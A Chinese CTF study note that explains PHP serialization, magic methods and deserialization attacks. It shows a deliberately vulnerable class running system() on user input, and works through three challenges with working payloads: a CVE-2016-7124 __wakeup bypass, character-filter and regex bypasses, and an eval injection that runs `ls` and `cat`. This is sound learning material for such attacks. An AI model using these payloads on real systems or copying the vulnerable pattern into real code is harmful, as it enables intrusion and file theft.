ctf中的php序列化与反序列化

ctf中的php序列化与反序列化

刚开始学的php序列化与反序列化,有点雨里雾里的,于是做个笔记~~

首先我们来了解一下概念知道他是怎么样的一个东西:

序列化(串行化):是将变量转换为可保存或传输的字符串的过程;
反序列化(反串行化):就是在适当的时候把这个字符串再转化成原来的变量使用。
这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性。

然后了解魔术方法:

__construct: 在创建对象时候初始化对象,一般用于对变量赋初值。
__destruct: 和构造函数相反,当对象所在函数调用完毕后执行。
__toString:当对象被当做一个字符串使用时调用。
__sleep:序列化对象之前就调用此方法(其返回需要一个数组)
__wakeup:反序列化恢复对象之前调用该方法
__call:当调用对象中不存在的方法会自动调用该方法。
__get:在调用私有属性的时候会自动执行
__isset()在不可访问的属性上调用isset()或empty()触发
__unset()在不可访问的属性上使用unset()时触发

常见的方法有前面五个,所以尽量关注前面五个,下面我们看看每个方法的用法以及效果。

测试的源码:

<?php

class SER
{
    public $name;
    private $age;
    protected $sec;
   public function __construct()
   {
       echo "这是__construct()!在创建对象时使用,例如:\$aa = new SER();";
       echo "\n";

   }

   public function __destruct()
   {
       echo "这是__destruct()!在调用完后销毁对象时使用";
       echo "\n";
   }

   public function __toString()
   {
      echo "这是__toString()!当对象被当做一个字符串使用时调用   ";
      return  "and must have return "."\n";

   }

   public function __sleep()
   {
       echo "这是__sleep()!在序列化一个对象时使用,例如:serialize()";
       echo "\n";
   }

   public function __wakeup()
   {
       echo "这是__wakeup()!在反序列化一个对象时使用,例如:unserialize()";
       echo "\n";
   }

}


$mirror = new SER(); //__construct()
//echo $mirror;   //__toString()
//serialize($mirror);  //__sleep()
//unserialize($mirror);  //__wakeup()
                        //__destruct()


__construct()的示例:

construct()、toString()的示例:

需要注意的是__toString()必须要有一个返回值。

construct()、toString()、sleep()的示例:

__construct()、
toString()、sleep()、wakeup()的示例:

因为序列化和反序列化分别调用了一次,所以__destruct()也出现了两次

接下来我们看序列化的格式:

O:3:"SER":3:{s:4:"name";s:6:"mirror";s:8:" SER age";s:2:"18";s:6:" * sec";s:2:"男";}
对象类型:长度:"名字":类中变量的个数:{类型:长度:"名字";类型:长度:"值";......}

然后看序列化的三种类型:

序列化后的结果为:O:3:”SER”:3:{s:4:”name”;s:6:”mirror”;s:8:” SER age”;s:2:”18”;s:6:” * sec”;s:2:”男”;},仔细观察我们就会发现每一个类型输出的都不一样。

 public   //{s:4:"name";s:6:"mirror"->序列出来的变量直接是变量名name
 private  //s:8:" SER age";s:2:"18"->序列出来的变量是:%00+类名+%00+变量名(两个%00加上字符所以长度为8)或者\00
 protected  //s:6:" * sec";s:2:"男"->序列出来的变量是:%00+*+%00+变量名  (两个%00加上字符所以长度为6)或者\00

因为%00是不可打印字符,显示不了,但是查看网页源码可以看到乱码,但是他是存在的。

接下来我们写一个简单反序列化可控参数的代码,清楚直观的感受序列化与反序列化

<?php
class A{
    public $cmd;
    public function __wakeup()
    {
        system($this->cmd);
    }
}
$a = $_GET['cmd'];
$a_unser = unserialize($a);
?>

前面我们说过__wakeup()在被反序列时使用,现在代码中的cmd我们可控,我们就可以做一个恶意的序列化代码,让他在进行反序列化的时候能够执行我们想要的命令。

O:1:"A":1:{s:3:"cmd";s:3:"dir";}

拿payload去测试,可以看到命令被执行了,只不过由于环境编码的问题,这里乱码了

?cmd=O:1:"A":1:{s:3:"cmd";s:3:"dir";}

接下来进入正题,ctf中绕过__wakeup(),这里取自BUUCTF的: [极客大挑战 2019]PHP

扫网站的备份文件得备份文件名是www.zip

里面有用的php文件:class.php

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();


        }
    }
}
?>

在构造序列化函数的时候会把属性赋值, 不过这个我们能控制,不用纠结

$username = 'nonono';
$password = 'yesyes';

真正重要的是反序列时调用的两个方法,wakeup()、destruct(),在进行反序列化操作的时候,wakeup()方法总会把你的username变成guest,这样子的话就过不了destruct()的要求:需要password=100,username=admin。

但是__wakeup()本身有一个漏洞:
CVE-2016-7124
PHP5 < 5.6.25
PHP7 < 7.0.10

序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行,所以接下来制造payload

O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";s:3:"100";}


我们使属性个数大于真实个数,并且要注意他的类型是私有类型,要加上%00,所以最后的payload为:

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

拿到flag
这题用%00成功用\00失败

下一个是绕过字符串过滤

例题取自[网鼎杯 2020 青龙组]AreUSerialz

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

GET方式传入序列化的str字符串,str字符串中每一个字符的ASCII范围在32到125之间,然后对其反序列化。

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

这里的op是强类型比较,如果类型为string值为2的话,op就会被赋值为1,否则,content为空并进入下一个函数

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

这里的op是弱类型比较,只要值为2就可以进入下一个函数,因为op为1是写函数对我们没用,所以不做分析,到现在我们要先绕过强类型限制来到该函数
绕过方法:op=2,这里的2是整数int类型,op=2时,op===”2” 为false,op==”2”为true,就可以来到该函数
string和int的区别和比较

public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

这里是一个读文件的函数,我们要包含flag.php就好

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

我们可以通过控制read()读取flag.php的内容。

但是现在需要绕过is_valid() 函数
is_valid()函数规定字符的ASCII码必须是32-125,而protected属性在序列化后会出现不可见字符\00*\00,转化为ASCII码不符合要求。

绕过方法:

①PHP7.1以上版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过

<?php
class FileHandler {

    public $op = 2;
    public $filename = "flag.php";
    public $content="s";  //任意
}
$mirror = new FileHandler();
echo serialize($mirror);
?>

poyload:

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"s";}

②protected属性会引入\00*\00,但是序列化字符串中表示字符类型的s大写时,该值会被当成16进制解析。

<?php
class FileHandler {

    protected $op = 2;
    protected $filename = "flag.php";
    protected $content="s";  //任意
}
$mirror = new FileHandler();
echo serialize($mirror);
?>

payload:

O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";S:1:"s";}


这题用\00成功用%00失败

下一个是绕过正则

取自19年百度杯十月赛的hash

1.$hash=md5($sign.$key);the length of $sign is 8

2.key=123&hash=f9109d5f83921a551cf859f853afe7bb

然后md5解密那个hash=kkkkkk01123

根据源码说的$sign位数为8位,后改一下key 然后md5后得到提示Gu3ss_m3_h2h2.php这个文件

poyload:

?key=12&hash=3fa25df8b0dbc0be0840be63792b1610

得到一个页面:Gu3ss_m3_h2h2.php,进去看见源码

<?php
class Demo {
    private $file = 'Gu3ss_m3_h2h2.php';

    public function __construct($file) {
        $this->file = $file;
    }

    function __destruct() {
        echo @highlight_file($this->file, true);
    }

    function __wakeup() {
        if ($this->file != 'Gu3ss_m3_h2h2.php') {
            //the secret is in the f15g_1s_here.php
            $this->file = 'Gu3ss_m3_h2h2.php';
        }
    }
}

if (isset($_GET['var'])) {
    $var = base64_decode($_GET['var']);
    if (preg_match('/[oc]:\d+:/i', $var)) {
        die('stop hacking!');
    } else {

        @unserialize($var);
    }
} else {
    highlight_file("Gu3ss_m3_h2h2.php");
}
?>

在这里要绕过两点:
1、 __wakeup() 函数,用我们前面提到的那个方法就好
2、绕过正则,不能出现像O:4这样子的字符串,说白了就是针对需序列化的字符串的,可以在数字前面加+号,如O:+4

所以payload:

这里把得到序列化字符串加上%00在ps上base64加密后也不能正确加密,所以先把字符串放到burp上显示十六进制将20都换为00再base64加密得到的payload才能用,记得在4前面加上+

进入下一层

<?php
if (isset($_GET['val'])) {
    $val = $_GET['val'];
    eval('$value="' . addslashes($val) . '";');
} else {
    die('hahaha!');
}
?>

addslashes()函数主要用来过滤单、双引号,用不了system

我们这样构造:

/f15g_1s_here.php?val=${eval($_GET[a])}&a=echo `ls`;

利用的原理就是像这样实现命令执行:

${phpinfo()} 

这样成功执行了ls命令,发现了flag所在的文件,然后cat就可以获得flag:

/f15g_1s_here.php?val=${eval($_GET[a])}&a=echo `cat True_F1ag_i3_Here_233.php`;


  目录